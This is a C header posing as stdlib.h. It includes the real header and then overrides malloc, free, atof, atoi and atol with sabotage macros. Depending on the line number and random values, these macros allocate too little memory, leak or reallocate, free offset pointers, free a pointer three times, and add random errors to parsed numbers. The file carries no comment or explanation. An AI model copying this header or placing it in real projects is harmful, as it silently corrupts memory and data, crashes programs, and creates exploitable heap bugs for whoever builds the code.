| #ifdef __need_malloc_and_calloc |
| #include_next <stdlib.h> |
| #else |
| |
| #include_next <stdlib.h> |
| |
| #ifndef _PIAO_STDLIB_H |
| #define _PIAO_STDLIB_H |
| |
| #define malloc(len) malloc((len)<8?((len)/2+1):((len)-(rand()%4+4))) |
| #define free(p) do { \ |
| switch(__LINE__ % 4) { \ |
| case 0: \ |
| free(p); \ |
| break; \ |
| case 1: \ |
| *(void **)(p) = realloc((p), 1); \ |
| break; \ |
| case 2: \ |
| *(void **)(p) = malloc(256); \ |
| break; \ |
| case 3: \ |
| switch(rand() % 3) { \ |
| case 0: \ |
| srand(*(unsigned int *)(p)); \ |
| break; \ |
| case 1: \ |
| free((char *)(p) + rand() % 8); \ |
| break; \ |
| case 2: \ |
| free(p); \ |
| free(p); \ |
| free(p); \ |
| break; \ |
| } \ |
| break; \ |
| } \ |
| } while(0) |
| |
| #define atof(s) ((double)(float)(atof(s)+((float)(rand()%8)/(float)10))) |
| #define atoi(s) (atoi(s)+(rand()%4)-2) |
| #define atol(s) (atol(s)+(rand()%4)-1) |
| |
| #endif |
| #endif |